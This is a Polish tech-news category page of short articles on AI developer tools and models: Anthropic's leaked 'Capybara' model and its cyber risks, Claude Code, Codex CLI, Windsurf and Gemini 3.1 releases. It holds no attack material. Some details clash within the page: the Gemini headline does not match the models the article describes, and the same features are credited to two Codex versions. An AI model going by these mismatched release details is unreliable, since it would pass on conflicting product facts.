Kategoria: Aktualności

  • Potwierdzony Claude Mythos: Capybara To Nowa Pochodna Anthropic, Ale Z Potężnymi Zagrożeniami

    Potwierdzony Claude Mythos: Capybara To Nowa Pochodna Anthropic, Ale Z Potężnymi Zagrożeniami

    Anthropic oficjalnie potwierdziło, że pracuje nad nowym modelem AI, znanym wewnętrznie jako Claude Mythos lub Capybara. Informacja wyciekła do publicznej wiadomości przez lukę w zabezpieczeniach – niewłaściwie skonfigurowany system zarządzania treścią pozwolił na dostęp do niepublikowanego jeszcze szkicu wpisu blogowego. Firma nie tylko nie zdementowała plotek, ale też wykorzystała tę sytuację, aby częściowo ogłosić swój najnowszy projekt.

    Według szkicu, który pojawił się w sieci, Capybara to „najbardziej zaawansowany model, jaki stworzyliśmy do tej pory”. Reprezentuje on „skokową zmianę” w możliwościach, wykazując „znaczące postępy” w obszarach takich jak rozumowanie logiczne, generowanie kodu i cyberbezpieczeństwo. Model został już wytrenowany i znajduje się w fazie testów wśród wczesnych użytkowników.

    Capybara: Nowy poziom w hierarchii Claude

    • Capybara nie jest zwykłą aktualizacją obecnych modeli. To wprowadzenie całkowicie nowej, najwyższej warstwy w strukturze Anthropic, która obecnie obejmuje modele Claude Opus, Sonnet i Haiku. Ze szkicu wynika, że Capybara jest „większy i bardziej inteligentny niż nasze modele Opus”. Jego wyniki w benchmarkach dotyczących programowania, rozumowania akademickiego i cyberbezpieczeństwa są „znacząco wyższe” niż te osiągane przez aktualnego lidera, Claude Opus 4.6.

    Oznacza to realną eskalację konkurencji na polu AI dla deweloperów. Anthropic, dysponując mocnymi produktami takimi jak Claude Code i Claude Cowork, już wcześniej wywierało presję na rywali pokroju OpenAI. Capybara zdaje się być kolejnym milowym krokiem w tym kierunku, oferując możliwości, które mogą zmienić standardy w automatycznym generowaniu i analizie kodu.

    Cyberbezpieczeństwo: Potencjalne zagrożenie i strategiczna ostrożność

    Jednak szkic blogowy nie skupiał się wyłącznie na pochwałach. Anthropic wprost i wielokrotnie zaznaczało, że Capybara „stwarza znaczące zagrożenia dla cyberbezpieczeństwa” i niesie ze sobą „niespotykane ryzyka”. To właśnie jego nadzwyczajne możliwości w tym obszarze są źródłem największych obaw firmy.

    Firma pisze: „Przygotowując się do udostępnienia Claude Capybara, chcemy działać z dodatkową ostrożnością i zrozumieć ryzyko, jakie stwarza… szczególnie zależy nam na zrozumieniu potencjalnych krótkoterminowych ryzyk modelu w obszarze cyberbezpieczeństwa”. Dlatego też pierwsze testy są kierowane właśnie do specjalistów – „cyberobrońców”. Strategia jest jasna: dać narzędzie w pierwszej kolejności ekspertom od zabezpieczeń, aby mogli przygotować się i poznać metody ataku, które potencjalnie mogłyby zostać przeprowadzone przez tak zaawansowaną sztuczną inteligencję.

    Kontekst jest tu kluczowy. Istnieją już raporty wskazujące, że grupy hakerskie, powiązane m.in. z chińskim rządem, używały poprzednich narzędzi AI, takich jak Claude Code, do atakowania organizacji. Capybara, jako model jeszcze potężniejszy, może stać się niebezpiecznym narzędziem w rękach cyberprzestępców.

    Wyciek i przedwczesne ujawnienie: Wypadek, który stał się ogłoszeniem

    Sama sytuacja wycieku jest ciekawym studium przypadku dla branży technologicznej. Błąd ludzki lub techniczny w zabezpieczeniach infrastruktury (niezabezpieczony magazyn danych) sprawił, że planowana, kontrolowana komunikacja została zastąpiona przez przedwczesne ujawnienie informacji (premature disclosure). Anthropic jednak, zamiast się wycofać, potwierdziło rozwój modelu i częściowo przejęło narrację.

    Ten wyciek testuje nie tylko bezpieczeństwo operacyjne Anthropic, ale też sposób, w jaki firmy AI radzą sobie z nieplanowanym ujawnieniem informacji o produktach, które są zarówno przełomowe, jak i potencjalnie ryzykowne. Dla branży jest to sygnał, że tempo rozwoju jest tak szybkie, iż nawet procesy komunikacyjne muszą być gotowe na nieoczekiwane scenariusze.

    Co dalej z Capybarą?

    Według dostępnych informacji Capybara nie trafi w najbliższym czasie do szerokiej dystrybucji. Firma skupia się na bardzo limitowanym, kontrolowanym dostępie, głównie w celach oceny ryzyka i wzmocnienia obrony cybernetycznej. To pragmatyczne podejście, które stawia bezpieczeństwo ponad komercjalizację, choć w dłuższej perspektywie model zapewne stanie się kolejną flagową usługą Anthropic.

    Dla świata AI jest to kolejny wyraźny dowód na to, że granice możliwości modeli językowych ciągle się przesuwają. Jednak wraz z każdym takim skokiem pojawia się nowe, trudniejsze pytanie o odpowiedzialność, bezpieczeństwo i kontrolę nad technologią, która może zarówno budować, jak i niszczyć. Capybara może być królem benchmarków, ale jego korona – przynajmniej na razie – będzie bardzo ciężka i będzie wymagać wyjątkowo ostrożnego traktowania.

  • Claude Code v2.1.81 wprowadza flagę `–bare` dla automatyzacji i naprawia kluczowe błędy

    Claude Code v2.1.81 wprowadza flagę `–bare` dla automatyzacji i naprawia kluczowe błędy

    Nowa wersja Claude Code, wydana 20 marca 2026 roku, przynosi istotne udoskonalenia w automatyzacji workflowów i rozwiązuje szereg problemów wpływających na stabilność środowiska programistycznego. Wersja 2.1.81 bazuje na fundamentach wcześniejszej aktualizacji 2.1.80, która poprawiała wsparcie dla pluginów i widoczność limitów rate limitingu, ale idzie o krok dalej, skupiając się na niezawodności i efektywności operacji skryptowych.

    Nowa flaga --bare usprawnia automatyzację

    Najbardziej znaczącą zmianą w tym wydaniu jest wprowadzenie flagi --bare. To specjalny tryb przeznaczony dla wywołań skryptowych z parametrem -p (prompt). Jego działanie jest radykalne: całkowicie omija uruchamianie hooków, Language Server Protocol (LSP), synchronizację pluginów oraz przeszukiwanie katalogów skill. Funkcja auto-memory jest w tym trybie całkowicie wyłączona.

    Do działania tego trybu wymagane jest przekazanie klucza API Anthropic poprzez zmienną środowiskową ANTHROPIC_API_KEY lub za pomocą apiKeyHelper w parametrze --settings (uwierzytelnianie OAuth i keychain są wyłączone). Flaga --bare jest skierowana głównie do środowisk DevOps, CI/CD pipelines i przetwarzania wsadowego (batch processing). Szczególnie przydaje się w scenariuszach "vibe coding", gdzie skrypty działają bez interaktywnego UI i zależności od pluginów.

    Choć oficjalne statystyki wydajności nie zostały udostępnione, cel jest jasny: minimalizacja opóźnień przy wysokiej częstotliwości wywołań automatycznych. To przejście Claude Code z roli narzędzia głównie interaktywnego w stronę stabilnego i szybkiego silnika do operacji backendowych.

    Usprawnienia UX: od MCP do zarządzania sesjami

    Usprawnienia UX: od MCP do zarządzania sesjami

    Poza automatyzacją, wersja 2.1.81 skupia się na poprawie codziennego user experience. W Model Control Protocol (MCP) wywołania narzędzi read i search są teraz zwijane do jednej linii Queried {server} dla większej czytelności. Pełny output można rozwinąć za pomocą skrótu Ctrl+O.

    Claude w trybie interaktywnym sugeruje teraz użycie trybu bash (!) dla poleceń systemowych, co ułatwia odkrywanie tej funkcji. Mechanizm odświeżania pluginów został uszczelniony – pluginy śledzone przez ref (np. przez Git) są teraz ponownie klonowane przy każdym ładowaniu, co zapewnia natychmiastową aktualizację z upstreamu.

    W przypadku sesji Remote Control tytuły są odświeżane już po trzeciej wiadomości, a generowane przez AI tytuły pojawiają się w ciągu sekund. Tryb Plan domyślnie ukrywa teraz opcję "clear context", co zapobiega przypadkowemu usunięciu kontekstu (można ją przywrócić ustawieniem "showClearContextOnPlanAccept": true). Sesje są teraz również poprawnie wznawiane w oryginalnym worktree.

    Rozwiązanie krytycznych błędów dla stabilności

    Rozwiązanie krytycznych błędów dla stabilności

    To wydanie jest również istotnym patchem stabilizacyjnym. Naprawiono uciążliwy problem z OAuth/Authentication, w którym równoległe sesje wymagały niepotrzebnego ponownego uwierzytelniania podczas odświeżania tokena. Jest to kluczowe dla osób pracujących nad wieloma projektami jednocześnie.

    W trybie voice naprawiono błąd, przez który błąd ponowienia (retry failure) był ignorowany, a użytkownik widział tylko ogólny komunikat "check network". Teraz wyświetlane są rzeczywiste błędy. Dodano też mechanizm recovery audio przy zerwaniu połączenia WebSocket.

    Dla użytkowników enterprise korzystających z proxy (np. Vertex, Bedrock), flaga CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS teraz poprawnie blokuje nagłówki structured-outputs, co eliminuje błędne kody 400.

    Naprawiono race condition w agentach działających w tle, która mogła prowadzić do zawieszania się procesów podczas pollingu. W obszarze bezpieczeństwa hooki PreToolUse nie omijają już reguł deny. Dodano nową funkcję --channels permission relay — serwery kanałów deklarujące odpowiednie zdolności mogą teraz przekazywać prośby o zatwierdzenie użycia narzędzi na telefon użytkownika.

    Lista pozostałych poprawek jest obszerna: zachowanie znaków CRLF w narzędziu Write, wycieki pamięci przy komunikatach o postępie, działanie hooków pluginów w usuniętych katalogach, błędy krytyczne w Node.js 18 oraz zbędne prośby o uprawnienia Bash. Na systemie Windows wyłączono line-by-line streaming z powodu problemów z renderowaniem i naprawiono obsługę zmiennej PATH dla VS Code z Git Bash.

    Wnioski

    Claude Code v2.1.81 to wydanie, które choć nie rewolucjonizuje głównej funkcjonalności AI, znacząco wzmacnia fundamenty narzędzia. Flaga --bare otwiera nowe możliwości w automatyzacji, gdzie szybkość i brak narzutu (overheadu) są kluczowe. Liczne poprawki uwierzytelniania, trybu voice, obsługi proxy i stabilności sesji sprawiają, że środowisko jest bardziej niezawodne w profesjonalnych, złożonych sesjach programistycznych.

    To wyraźny sygnał, że rozwój Claude Code zmierza w stronę nie tylko inteligentniejszego asystenta, ale także stabilnego i łatwego w integracji narzędzia deweloperskiego, zdolnego do pracy zarówno w trybie interaktywnym, jak i w zautomatyzowanych pipeline'ach.

  • Codex 0.116.0: Rozbudowany TUI, Usprawnione Zarządzanie Wtyczkami i Lepsze Sesje Realtime

    Codex 0.116.0: Rozbudowany TUI, Usprawnione Zarządzanie Wtyczkami i Lepsze Sesje Realtime

    Najnowsza wersja Codex, oznaczona numerem 0.116.0, przynosi istotne usprawnienia, które mają ułatwić pracę programistom. Wydanie koncentruje się na poprawie komfortu pracy z interfejsem tekstowym serwera aplikacji (app-server TUI), wprowadzeniu wtyczek jako funkcjonalności pierwszej klasy oraz zwiększeniu stabilności kluczowych komponentów, takich jak sesje realtime. To solidna aktualizacja, która naprawia też kilka uciążliwych błędów.

    Wtyczki stają się funkcjonalnością pierwszej klasy

    Jedną z najważniejszych zmian w Codex 0.116.0 jest potraktowanie wtyczek jako podstawowego elementu workflow. To duża różnica w porównaniu do wcześniejszych, bardziej eksperymentalnych implementacji.

    Teraz system może automatycznie synchronizować wtyczki przypisane do danego produktu już przy starcie. Użytkownicy mają też dostęp do przeglądarki wtyczek pod adresem /plugins, co znacznie ułatwia ich odkrywanie. Sam proces instalacji i usuwania został uproszczony – jeśli brakuje wymaganej wtyczki lub konektora, Codex poinformuje o tym i zaproponuje instalację. Cały cykl życia wtyczki, w tym procesy uwierzytelniania i konfiguracji, jest teraz obsługiwany w bardziej przejrzysty sposób.

    Ulepszony interfejs App-Server i logowanie

    Wydanie 0.116.0 mocno stawia na usprawnienie pierwszego kontaktu z narzędziem poprzez app-server TUI. Kluczową nowością jest wsparcie dla logowania do ChatGPT za pomocą device code. Ta metoda uwierzytelniania, znana z innych narzędzi deweloperskich, jest często wygodniejsza niż wpisywanie haseł, szczególnie w środowiskach terminalowych.

    Dodano też nowy hook o nazwie userpromptsubmit. Pozwala on na przechwycenie, zablokowanie lub zmodyfikowanie promptu użytkownika, zanim zostanie on wykonany i trafi do historii rozmowy. To potężne narzędzie dla osób, które chcą mieć większą kontrolę nad interakcją z modelem.

    Stabilniejsze i bardziej funkcjonalne sesje realtime

    Praca w trybie rzeczywistym (realtime) zyskała na jakości. Zaimplementowano dedykowany tryb transkrypcji dla sesji realtime, co powinno poprawić obsługę audio. Usprawniono również logikę zamykania sesji oraz sposób radzenia sobie z przerwaniem strumienia audio w sesjach v2.

    Poprawki objęły też kontekst wątków. Dzięki lepszemu zarządzaniu historią konwersacji i naprawieniu błędu z ponownym pojawianiem się zarchiwizowanych, przypiętych wątków w panelu bocznym, nawigacja między projektami stała się bardziej przewidywalna.

    Kluczowe poprawki i usprawnienia infrastrukturalne

    Pod maską również zaszło sporo zmian. Wyeliminowano kilka krytycznych problemów, które mogły irytować użytkowników. Naprawiono blokady podczas uruchamiania (startup stalls), które potrafiły unieruchomić aplikację.

    Dla użytkowników Linuksa istotna jest poprawka dotycząca sandboxa. Codex 0.116.0 preferuje teraz systemowy /usr/bin/bwrap, jeśli jest on dostępny, co zwiększa niezawodność uruchamiania narzędzi w izolowanym środowisku na starszych dystrybucjach. W systemie Windows poprawiono problemy z obsługą skrótów klawiaturowych do kopiowania i wklejania w terminalu.

    Podsumowanie

    Codex 0.116.0 to wydanie, które stawia na dojrzałość i wygodę użytkowania. Wprowadzenie wtyczek jako podstawowego elementu workflow, wraz z intuicyjnym menedżerem, otwiera nowe możliwości rozszerzania funkcjonalności. Usprawnienia w interfejsie app-server TUI, szczególnie łatwiejsze logowanie i nowy hook do kontroli promptów, bezpośrednio przekładają się na płynność pracy. Połączenie tych nowości z pakietem istotnych poprawek stabilizujących sandbox, sesje realtime i historię rozmów sprawia, że jest to bardzo wartościowa aktualizacja dla każdego dewelopera korzystającego z Codex.


    Źródła

  • Windsurf Editor 1.9577.43: Naprawa Kompilacji dla Mac x64 i Kolejne Usprawnienia

    Windsurf Editor 1.9577.43: Naprawa Kompilacji dla Mac x64 i Kolejne Usprawnienia

    Najnowsza aktualizacja edytora Windsurf opartego na AI, oznaczona numerem 1.9577.43, przynosi kluczowe poprawki stabilności, ze szczególnym uwzględnieniem użytkowników starszych komputerów Mac. Wydanie koncentruje się na niezawodności platformy, dostarczając szereg poprawek błędów i optymalizacji wydajności, które mają zapewnić płynniejszą pracę w całym ekosystemie Windsurf.

    Kluczowe poprawki buildów i stabilności platformy

    Główną zmianą w tej aktualizacji jest naprawa buildu dla architektury Mac x64. Oznacza to, że użytkownicy komputerów Mac z procesorami Intel (w przeciwieństwie do nowszych Apple Silicon) powinni odnotować poprawę stabilności i kompatybilności aplikacji. To ważna poprawka, która wspiera szerszą bazę użytkowników, zapewniając, że właściciele starszego sprzętu nie zostaną pominięci.

    Oprócz tego wersja 1.9577.43 stanowi kulminację serii poprawek wydanych w ciągu ostatnich tygodni. Wśród nich znalazły się między innymi: naprawa automatycznych aktualizacji na Windows, która usuwa błędy uniemożliwiające płynne uaktualnianie, oraz eliminacja migotania interfejsu (UI flickering) na macOS. Rozwiązano także problem z zawieszaniem się terminala podczas jego otwierania oraz ulepszono obsługę PowerShell na Windowsie, dzięki czemu polecenia nie sprawiają wrażenia „zablokowanych”. Dla zaawansowanych użytkowników istotną zmianą jest lepsza kompatybilność z niestandardowymi motywami powłoki, takimi jak zsh, fish czy powerlevel10k, które wcześniej mogły powodować problemy.

    Szerszy kontekst poprawek i wsparcie dla użytkowników Mac

    Dla użytkowników Mac, którzy mogą napotkać problemy, istnieją sprawdzone ścieżki ich rozwiązywania. Częste ostrzeżenia systemowe o „uszkodzonej aplikacji” są zwykle fałszywymi alarmami związanymi z zabezpieczeniami. Można je rozwiązać, przechodząc do Ustawień systemowych > Prywatność i bezpieczeństwo i zezwalając na uruchomienie Windsurf.

    Fundament pod nowe możliwości AI

    Choć ta konkretna wersja skupia się na stabilności, warto pamiętać, że Windsurf cały czas ewoluuje jako platforma AI. Wcześniejsze aktualizacje wprowadzały nowe funkcje, takie jak ulepszenia agenta Cascade, który otrzymał nowe zdolności planowania i wykonywania zadań. Wszystkie te zaawansowane funkcje wymagają solidnego fundamentu, który zapewniają właśnie takie aktualizacje jak 1.9577.43 – naprawiające wycieki pamięci, poprawiające niezawodność startową agenta Cascade i dostarczające pełne wsparcie dla Linux ARM64.

    Podsumowanie: Inżynieria u podstaw

    Aktualizacja Windsurf Editor 1.9577.43 może nie wyróżniać się nowymi, rewolucyjnymi funkcjami, ale jej znaczenie jest fundamentalne. To przykład dojrzałości projektu, który koncentruje się na inżynierii niezawodności, naprawianiu błędów interfejsu, problemów z kompilacją i wyciekami pamięci. Taka praca u podstaw jest niezbędna, aby bardziej ekscytujące funkcje, jak współpraca wielu agentów AI, działały bez zarzutu na każdym wspieranym systemie operacyjnym – Windows, macOS (zarówno Intel, jak i Apple Silicon) oraz Linux. Dla programistów oznacza to po prostu płynniejszy i bardziej przewidywalny dzień pracy z asystentem AI.


    Źródła

  • Google ogłasza Gemini 3.1 Flash Live: naturalniejsza rozmowa z AI w czasie rzeczywistym

    Google ogłasza Gemini 3.1 Flash Live: naturalniejsza rozmowa z AI w czasie rzeczywistym

    26 lutego 2026 roku Google wprowadził do oferty nowe modele, które mają odmienić sposób, w jaki wchodzimy w interakcje z maszynami. Gemini 3.1 Pro i Gemini 3.1 Flash-Lite to multimodalne modele zaprojektowane do przetwarzania tekstu, obrazów, wideo i kodu. Ich premiera nie jest przypadkowa – odpowiada na rosnące zapotrzebowanie na wydajne i wszechstronne narzędzia AI dla deweloperów i firm. Szczegóły brzmią obiecująco: większa wydajność, rozszerzone okno kontekstowe i zaawansowane możliwości w rozsądnej cenie.

    Czym właściwie są nowe modele Gemini 3.1?

    W skrócie: to zaawansowane modele sztucznej inteligencji skoncentrowane na multimodalnym przetwarzaniu. Ich głównym zadaniem jest obsługa szerokiego spektrum zadań – od analizy dokumentów i wideo po generowanie kodu i tłumaczenia. Mowa tu o zaawansowanych asystentach dla programistów, systemach analizy treści czy interaktywnych narzędziach edukacyjnych.

    Kluczowa jest różnica w przeznaczeniu obu wariantów. Gemini 3.1 Flash-Lite to szybki i tani model tekstowo-multimodalny, stworzony do obsługi ogromnej liczby zadań, takich jak tłumaczenie czy moderacja treści. Gemini 3.1 Pro to bardziej zaawansowany i potężniejszy model, oferujący rozszerzony kontekst i wyższą jakość odpowiedzi w złożonych zastosowaniach. Oba modele stanowią odpowiedź na potrzebę skalowalnych i efektywnych narzędzi AI.

    Co potrafią nowe modele? Kluczowe ulepszenia

    Google wskazało kilka konkretnych obszarów, w których nowe modele mają być wyraźnie lepsze od swoich poprzedników. Po pierwsze: wydajność i kontekst. Modele oferują lepsze wyniki przy niższych kosztach, a Gemini 3.1 Pro obsługuje wyjątkowo długie okno kontekstowe, co pozwala na analizę bardzo dużych dokumentów, długich nagrań wideo lub rozbudowanych baz kodu w jednym zapytaniu.

    Po drugie: wszechstronność multimodalna. Modele zostały wytrenowane tak, by sprawnie łączyć i rozumieć różne rodzaje danych – tekst, obrazy, pliki wideo i audio. W praktyce oznacza to, że AI może analizować zawartość filmu, przetwarzać transkrypcję i odpowiadać na szczegółowe pytania, łącząc informacje ze wszystkich tych źródeł.

    Po trzecie: dostępność. Dzięki różnym wersjom – od lekkiego Flash-Lite po zaawansowany Pro – modele są dostosowane do różnych potrzeb i budżetów, co umożliwia szerszą adopcję zaawansowanych możliwości AI.

    Bezpieczeństwo i walka z deepfake'ami: SynthID

    Google nie zapomniało o rosnącym problemie dezinformacji i deepfake'ów. Technologia znaku wodnego SynthID pozostaje kluczowym elementem ekosystemu. Rozwiązanie opracowane przez Google DeepMind osadza w pliku audio lub obrazie niewykrywalny dla człowieka marker. Pozwala on później sprawdzić, czy dana treść została wygenerowana przez AI.

    To ważny krok w stronę odpowiedzialnego rozwoju technologii, zwłaszcza w kontekście ryzyka jej nadużyć. Dla deweloperów integrujących modele oznacza to dodatkową warstwę transparentności i zaufania.

    Dla kogo są przeznaczone? Dostęp dla deweloperów i firm

    Google udostępnia modele na kilka sposobów, celując w różne grupy odbiorców. Dla programistów i zespołów kluczowy jest dostęp przez Google AI Studio oraz API. To właśnie tam można zacząć eksperymentować z integracją modeli we własnych aplikacjach czy workflowach.

    Dla większych organizacji i zastosowań korporacyjnych modele będą dostępne przez Gemini Enterprise na platformie Vertex AI. To ścieżka dla firm, które chcą wdrożyć zaawansowane AI w obsłudze klienta, wewnętrznych systemach analitycznych czy narzędziach deweloperskich.

    Wreszcie, przeciętny użytkownik może zetknąć się z ulepszeniami tej technologii w usługach Google, takich jak wyszukiwarka czy asystenci, którzy korzystają z ulepszonych modeli bazowych.

    Co na to rynek? Wczesne reakcje

    W materiałach promocyjnych Google pochwaliło się współpracą z wczesnymi testerami. Ich opinie sugerują, że modele faktycznie sprawdzają się w integracji z istniejącymi procesami pracy, oferując dużą wydajność i użyteczność.

    Warto też zwrócić uwagę na ogólne postępy w benchmarkach multimodalnych, gdzie rodzina modeli Gemini konsekwentnie prezentuje wysoką skuteczność w zadaniach łączących tekst, wideo i kod, co potwierdza ich wszechstronność.

    Podsumowanie: kolejny krok w rozwoju multimodalnego AI

    Premiera Gemini 3.1 Pro i Flash-Lite nie jest rewolucją, która od razu zmieni wszystko. To raczej konsekwentne i znaczące udoskonalenie w segmencie wydajnych i skalowalnych modeli multimodalnych. Pokazuje jednak wyraźny kierunek, w którym podąża branża: AI ma być wszechstronnym i dostępnym narzędziem do rozwiązywania realnych problemów. Przeniesienie punktu ciężkości na efektywność kosztową, długi kontekst i głębokie zrozumienie multimodalne świadczy o dojrzewaniu tej technologii.

    Dla deweloperów i firm specjalizujących się w integracjach AI pojawienie się ulepszonych, łatwo dostępnych modeli to dobra wiadomość. Otwiera nowe możliwości w projektowaniu aplikacji, które mogą rozumieć świat w sposób bardziej zbliżony do człowieka. Sukces tych modeli będzie mierzony nie tyle wynikami w benchmarkach, ile tym, jak wiele firm i użytkowników uzna, że zaawansowane AI stało się praktycznym i niezawodnym elementem ich pracy.

  • Codex CLI 0.115.0: Naprawiono błąd wyświetlania narzędzi serwera MCP

    Codex CLI 0.115.0: Naprawiono błąd wyświetlania narzędzi serwera MCP

    Nieduża zmiana, a jednak kluczowa dla codziennej pracy. W wydaniu Codex CLI 0.115.0, które skupiało się na dużych funkcjach, takich jak zaawansowana inspekcja wizualna, znalazła się też drobna, ale ważna poprawka. Rozwiązuje ona irytujący problem: polecenie /mcp nie wyświetlało dostępnych narzędzi dla serwerów MCP, które w swojej nazwie miały myślniki. Dla deweloperów korzystających z takich konfiguracji to istotne udogodnienie, które eliminuje niepotrzebne godziny szukania przyczyny błędu.

    Ten błąd mógł wprowadzać w błąd, sugerując, że serwer jest bezużyteczny, podczas gdy on po prostu nie potrafił się poprawnie przedstawić. W świecie lekkich agentów kodujących (lightweight coding agents), gdzie każda sekunda w terminalu ma znaczenie, takie usterki potrafią solidnie pokrzyżować plany.

    Na czym dokładnie polegał problem?

    Sprawa dotyczyła komendy /mcp, która w Codex CLI służy do wyświetlania statusu i listy dostępnych narzędzi podłączonych serwerów MCP. MCP (Model Context Protocol) to kluczowy komponent pozwalający Codexowi na integrację z zewnętrznymi narzędziami, pluginami czy nawet innymi agentami AI.

    Codex od zawsze akceptował nazwy serwerów MCP zawierające myślniki. Spełniały one wyrażenie regularne ^[a-zA-Z0-9_-]+$. Problem pojawiał się później, gdy użytkownik chciał sprawdzić możliwości takiego serwera. Mimo że serwer działał poprawnie i oferował swoje funkcje, polecenie /mcp wyświetlało przy nim po prostu: Tools: (none).

    To tak, jakbyście podłączyli nową wiertarkę do gniazdka – światełko się pali, ale gdy próbujecie sprawdzić jej moc, kontrolka pokazuje „brak funkcji”. Serwer działał, narzędzia były gotowe do użycia, ale interfejs użytkownika uparcie twierdził, że ich nie ma. Błąd ten był na tyle uporczywy, że zgłoszenia na jego temat pojawiały się jeszcze w wersji 0.116.0, co sugeruje, że korzenie problemu sięgały głębiej i nie każda konfiguracja została od razu naprawiona.

    Źródło błędu i mechanizm naprawy

    Gdzie tkwiło sedno problemu? Jak to często bywa w programowaniu, chodziło o niespójność w przetwarzaniu danych. Jak wynika z analizy kodu, błąd leżał w sposobie, w jaki Codex poddawał sanityzacji w pełni kwalifikowane nazwy narzędzi MCP, a następnie grupował je z powrotem według nazwy serwera dla potrzeb funkcji mcpServerStatus/list.

    Proces normalizacji nazw, który miał przygotować je do bezpiecznego użycia w trybie kodu, nie obsługiwał poprawnie myślników. Powodowało to niedopasowania. System szukał narzędzi dla serwera o nazwie moj-serwer, ale w swojej wewnętrznej mapie widział je zapisane w innej formie, na przykład mojserwer lub moj_serwer. Stąd rozbieżność i pusty ekran.

    W wersji 0.115.0 wprowadzono konkretne poprawki:

    • #14491 (Fix MCP tool calling): Ta zmiana autorstwa @pakrym-oai zaadresowała fundamentalne problemy z wywoływaniem samych narzędzi MCP.
    • #14605 (Normalize MCP tool names to code-mode safe form): Kluczowa poprawka, także autorstwa @pakrym-oai. Jej zadaniem była właśnie bezpieczna normalizacja nazw narzędzi, która teraz prawidłowo obsługuje myślniki, nie psując przy tym ich wyświetlania.

    Te poprawki były częścią szerszego zestawu ulepszeń dla przepływów MCP i tzw. elicitation. Jak odnotowano w changelogu, stały się one „bardziej odporne na błędy dzięki bezpieczniejszej normalizacji nazw narzędzi i zachowywaniu tool_params w promptach zatwierdzeń”.

    Dlaczego ta poprawka ma znaczenie dla użytkownika?

    Dlaczego ta poprawka ma znaczenie dla użytkownika?

    Można pomyśleć – to tylko myślnik. Ale w praktyce deweloperskiej, szczególnie w obszarach takich jak DevOps czy hosting, nazwy z myślnikami są wszechobecne. Konwencje nazewnicze takie jak docker-compose, cloud-build czy github-actions są standardem. Deweloper konfigurujący serwer MCP do integracji z takimi narzędziami naturalnie nada mu nazwę github-actions-helper.

    Przed poprawką, po takiej konfiguracji, użytkownik tracił możliwość wizualnej weryfikacji w CLI. Nie widział, czy integracja faktycznie się udała i jakie komendy są dostępne. Musiał polegać na pamięci, zgadywać lub – co gorsza – próbować wywołać narzędzie na ślepo, licząc, że zadziała. To tworzyło niepotrzebną warstwę frustracji i niepewności, która jest zupełnie niepożądana w narzędziu mającym przyspieszać pracę.

    Dla lekkiego agenta kodującego, jakim jest Codex CLI, bezpośrednia, transparentna komunikacja z użytkownikiem w terminalu jest kluczowa. Zaufanie do agenta polega na tym, że dokładnie wiadomo, czym dysponuje i jakie operacje może wykonać. Błąd z wyświetlaniem narzędzi podważał to zaufanie dla całej grupy użytkowników. Jego naprawa to nie tylko kwestia zgodności technicznej, ale też poprawa ergonomii i przewidywalności środowiska pracy.

    Szerszy kontekst rozwoju Codex CLI 0.115.0

    Szerszy kontekst rozwoju Codex CLI 0.115.0

    Warto na chwilę odejść od tego konkretnego błędu i spojrzeć na niego jako na element większej układanki. Wydanie 0.115.0 było znaczące. Oprócz tej drobnej naprawy wprowadziło całą gamę nowości: inspekcję wizualną obrazów w pełnej rozdzielczości, bogatszy REPL dla JavaScript, obsługę WebSocketów w czasie rzeczywistym, nową wersję RPC dla systemu plików (v2) oraz poprawki niezawodności dla subagentów.

    Fakt, że w takim wydaniu znalazł się czas na dopracowanie obsługi myślników w nazwach MCP, mówi sam za siebie. Pokazuje, że twórcy Codexa traktują infrastrukturę MCP nie jako dodatek, ale jako filar architektury. To przez MCP Codex rozszerza swoje możliwości o niestandardowe narzędzia, pluginy i zewnętrzne serwisy. Gdy ten filar ma rysę, cała konstrukcja staje się mniej stabilna.

    Co ciekawe, changelog wspomina też o trendzie pakowania konfiguracji MCP w pakiety pluginów, które można łatwo wykorzystywać w różnych projektach i przepływach AI. To kierunek, w którym rozwija się ekosystem – w stronę modularności i reużywalności. A w modularnym systemie spójne i niezawodne zarządzanie nazwami oraz zależnościami jest absolutnie fundamentalne. Naprawa z wersji 0.115.0 to mały, ale konieczny krok w tym kierunku.

    Podsumowanie

    Poprawka błędu z wyświetlaniem narzędzi MCP dla serwerów z myślnikami w nazwie w Codex CLI 0.115.0 to doskonały przykład na to, że w rozwoju oprogramowania detale mają znaczenie. To nie była spektakularna nowa funkcja, ale zmiana, która bezpośrednio wpłynęła na komfort pracy części użytkowników, eliminując źródło dezorientacji i potencjalnych błędów.

    Pokazuje to dojrzałość projektu, którego twórcy nie tylko pędzą do przodu z nowymi funkcjami, ale też zaglądają w zakamarki istniejącego kodu, by wygładzić nierówności. Dla deweloperów korzystających z Codex CLI w obszarach web developmentu, AI czy vibe codingu, gdzie integracje z różnymi narzędziami są na porządku dziennym, to ważna wiadomość. Ich konfiguracje, często korzystające z popularnych nazw z myślnikami, będą teraz działały tak przejrzyście, jak powinny od początku. A w świecie automatyzacji i współpracy z AI przejrzystość jest często tym, co oddziela płynny workflow od walki z narzędziem.

  • OpenAI Codex CLI 0.115.0 wprowadza błędne prośby o zatwierdzenie wśród nowych funkcji

    OpenAI Codex CLI 0.115.0 wprowadza błędne prośby o zatwierdzenie wśród nowych funkcji

    Ostatnia aktualizacja narzędzia CLI OpenAI Codex, wersja 0.115.0, miała być krokiem naprzód. Użytkownicy spodziewali się płynniejszego logowania i lepszego zarządzania wtyczkami. Zamiast tego wielu z nich zetknęło się z irytującym regresem: wszechobecnymi, często błędnymi prośbami o zatwierdzenie (approval prompts) niemal każdego polecenia. Ta usterka postawiła pod znakiem zapytania praktyczność nowych funkcji i podkreśliła wyzwania związane z zachowaniem równowagi między bezpieczeństwem a płynnością pracy.

    Nowe funkcje kontra stary problem: regresja w prośbach o zatwierdzenie

    Wersja 0.115.0 CLI faktycznie przyniosła kilka oczekiwanych usprawnień. Jednym z nich jest wsparcie dla logowania przez device code do ChatGPT, co ma uprościć proces uwierzytelniania. Kolejna nowość to płynniejsza konfiguracja wtyczek – system może teraz sam podpowiadać ich instalację. Dodano także hook userpromptsubmit, który pozwala deweloperom na blokowanie lub modyfikację promptów przed ich wykonaniem.

    Problem w tym, że aby w ogóle skorzystać z tych nowości, użytkownicy musieli najpierw przebrnąć przez ścianę pytań o zgodę. Jak zgłaszali deweloperzy, CLI nagle zaczęło domagać się zatwierdzenia rutynowych, podstawowych poleceń systemowych, takich jak find, ls czy sed. To komendy, które w poprzednich wersjach wykonywały się w tle, bez ingerencji użytkownika. Nagła zmiana to klasyczny przykład regresji – sytuacja, w której wprowadzenie nowego kodu psuje istniejącą, działającą funkcjonalność.

